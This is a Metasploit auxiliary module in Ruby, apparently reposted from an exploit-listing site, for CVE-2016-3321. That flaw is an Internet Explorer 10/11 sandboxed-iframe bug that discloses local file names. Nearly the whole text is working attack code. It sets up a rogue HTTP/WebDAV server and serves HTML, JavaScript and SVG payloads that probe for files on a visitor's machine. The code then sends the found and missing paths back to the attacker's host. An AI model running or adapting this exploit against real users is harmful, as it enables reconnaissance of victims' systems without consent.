Share
## https://sploitus.com/exploit?id=PACKETSTORM:180656
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Internet Explorer Iframe Sandbox File Name Disclosure Vulnerability',  
'Description' => %q{  
It was found that Internet Explorer allows the disclosure of local file names.  
This issue exists due to the fact that Internet Explorer behaves different for  
file:// URLs pointing to existing and non-existent files. When used in  
combination with HTML5 sandbox iframes it is possible to use this behavior to  
find out if a local file exists. This technique only works on Internet Explorer  
10 & 11 since these support the HTML5 sandbox. Also it is not possible to do  
this from a regular website as file:// URLs are blocked all together. The attack  
must be performed locally (works with Internet zone Mark of the Web) or from a  
share.  
},  
'License' => MSF_LICENSE,  
'Author' => 'Yorick Koster',  
'References' =>  
[  
['CVE', '2016-3321'],  
['MSB', 'MS16-095'],  
['URL', 'https://securify.nl/advisory/SFY20160301/internet_explorer_iframe_sandbox_local_file_name_disclosure_vulnerability.html'],  
],  
'Platform' => 'win',  
'DisclosureDate' => '2016-08-09'  
))  
  
register_options(  
[  
OptString.new('SHARENAME', [ true, "The name of the top-level share.", "falcon" ]),  
OptString.new('PATHS', [ true, "The list of files to check (comma separated).", "Testing/Not/Found/Check.txt, Windows/System32/calc.exe, Program Files (x86)/Mozilla Firefox/firefox.exe, Program Files/VMware/VMware Tools/TPAutoConnSvc.exe" ]),  
])  
  
# no SSL  
deregister_options('SSL', 'SSLVersion', 'SSLCert', 'SRVPORT', 'URIPATH')  
end  
  
def js  
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']  
  
%Q|function report() {  
if(window.location.protocol != 'file:') {  
try {  
window.location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html';  
} catch (e) { }  
return;  
}  
  
var frames = document.getElementsByTagName('iframe');  
for(var i = 0; i < frames.length; i++) {  
try {  
if(frames[i].name == 'notfound') {  
frames[i].src = 'http://#{my_host}/notfound/?f=' + frames[i].src;  
}  
else {  
frames[i].src = 'http://#{my_host}/found/?f=' + frames[i].src;  
}  
} catch(e) { }  
}  
}|  
end  
  
def html  
frames = ""  
datastore['PATHS'].split(',').each do |path|  
frames = frames + "<iframe src=\"file:///#{path.strip}\" onload=\"this.name='notfound'\" style=\"display:none;\" sandbox></iframe>"  
end  
  
%Q|<!DOCTYPE html>  
<html>  
<head>  
<script type="text/javascript">  
#{js}  
</script>  
</head>  
<body>  
#{frames}  
<script type="text/javascript">  
setTimeout('report();', 2000);  
</script>  
</body>  
</html>|  
end  
  
def svg  
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']  
  
%Q|<!-- saved from url=(0014)about:internet -->  
<svg width="100px" height="100px" version="1.1" onload="try{ location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html'; } catch(e) { }" xmlns="http://www.w3.org/2000/svg"></svg>|  
end  
  
def is_target_suitable?(user_agent)  
if user_agent =~ /^Microsoft-WebDAV-MiniRedir/  
return true  
end  
  
info = fingerprint_user_agent(user_agent)  
if info[:ua_name] == HttpClients::IE  
return true  
end  
  
false  
end  
  
def on_request_uri(cli, request)  
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']  
  
case request.method  
when 'OPTIONS'  
process_options(cli, request)  
when 'PROPFIND'  
process_propfind(cli, request)  
when 'GET'  
unless is_target_suitable?(request.headers['User-Agent'])  
print_status("GET #{request.uri} #{request.headers['User-Agent']} => 200 image.svg")  
resp = create_response(200, "OK")  
resp.body = svg  
resp['Content-Type'] = 'image/svg+xml'  
resp['Content-Disposition'] = 'attachment;filename=image.svg'  
cli.send_response(resp)  
end  
  
case request.uri  
when /^\/found\/\?f=/  
f = URI.decode_www_form(request.uri.split("/found/?").last).assoc('f').last  
report_note(host: cli.peerhost, type: 'ie.filenames', data: f)  
print_good("Found file " + f)  
send_response(cli, '')  
when /^\/notfound\/\?f=/  
f = URI.decode_www_form(request.uri.split("/notfound/?").last).assoc('f').last  
print_error("The file " + f + " does not exist")  
send_response(cli, '')  
when "/"  
resp = create_response(200, "OK")  
resp.body = %Q|<html>  
<head>  
<script type="text/javascript">  
try {  
window.location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html';  
} catch (e) {  
blob = new Blob([atob('#{Rex::Text.encode_base64(svg)}')]);  
window.navigator.msSaveOrOpenBlob(blob, 'image.svg');  
}  
</script>  
</head>  
<body>  
</body>  
</html>|  
  
resp['Content-Type'] = 'text/html'  
cli.send_response(resp)  
else  
print_status("GET #{request.uri} #{request.headers['User-Agent']} => 200 returning landing page")  
send_response(cli, html)  
end  
else  
print_status("#{request.method} #{request.uri} => 404")  
resp = create_response(404, "Not Found")  
resp.body = ""  
resp['Content-Type'] = 'text/html'  
cli.send_response(resp)  
end  
end  
  
#  
# OPTIONS requests sent by the WebDav Mini-Redirector  
#  
def process_options(cli, request)  
print_status("OPTIONS #{request.uri}")  
headers = {  
'MS-Author-Via' => 'DAV',  
'DASL' => '<DAV:sql>',  
'DAV' => '1, 2',  
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',  
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',  
'Cache-Control' => 'private'  
}  
  
resp = create_response(207, "Multi-Status")  
headers.each_pair {|k,v| resp[k] = v }  
resp.body = ""  
resp['Content-Type'] = 'text/xml'  
cli.send_response(resp)  
end  
  
#  
# PROPFIND requests sent by the WebDav Mini-Redirector  
#  
def process_propfind(cli, request)  
path = request.uri  
print_status("PROPFIND #{path}")  
body = ''  
  
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']  
my_uri = "http://#{my_host}/"  
  
if path !~ /\/$/  
  
if path.index(".")  
print_status "PROPFIND => 207 File (#{path})"  
body = %Q|<?xml version="1.0" encoding="utf-8"?>  
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype/>  
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>  
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>  
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<lp2:executable>T</lp2:executable>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>application/octet-stream</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
</D:multistatus>  
|  
# send the response  
resp = create_response(207, "Multi-Status")  
resp.body = body  
resp['Content-Type'] = 'text/xml; charset="utf8"'  
cli.send_response(resp)  
return  
else  
print_status "PROPFIND => 301 (#{path})"  
resp = create_response(301, "Moved")  
resp["Location"] = path + "/"  
resp['Content-Type'] = 'text/html'  
cli.send_response(resp)  
return  
end  
end  
  
print_status "PROPFIND => 207 Directory (#{path})"  
body = %Q|<?xml version="1.0" encoding="utf-8"?>  
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype><D:collection/></lp1:resourcetype>  
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>  
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
|  
  
if request["Depth"].to_i > 0  
trail = path.split("/")  
trail.shift  
case trail.length  
when 0  
body << generate_shares(path)  
when 1  
body << generate_files(path)  
end  
else  
print_status "PROPFIND => 207 Top-Level Directory"  
end  
  
body << "</D:multistatus>"  
  
body.gsub!(/\t/, '')  
  
# send the response  
resp = create_response(207, "Multi-Status")  
resp.body = body  
resp['Content-Type'] = 'text/xml; charset="utf8"'  
cli.send_response(resp)  
end  
  
def generate_shares(path)  
share_name = datastore['SHARENAME']  
%Q|  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}#{share_name}/</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype><D:collection/></lp1:resourcetype>  
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>  
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
|  
end  
  
def generate_files(path)  
trail = path.split("/")  
return "" if trail.length < 2  
  
%Q|  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}index.html</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype/>  
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>  
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>  
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<lp2:executable>T</lp2:executable>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>application/octet-stream</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
|  
end  
  
def gen_timestamp(ttype=nil)  
::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")  
end  
  
def gen_datestamp(ttype=nil)  
::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")  
end  
  
def run  
datastore['URIPATH'] = '/'  
datastore['SRVPORT'] = 80  
exploit  
end  
end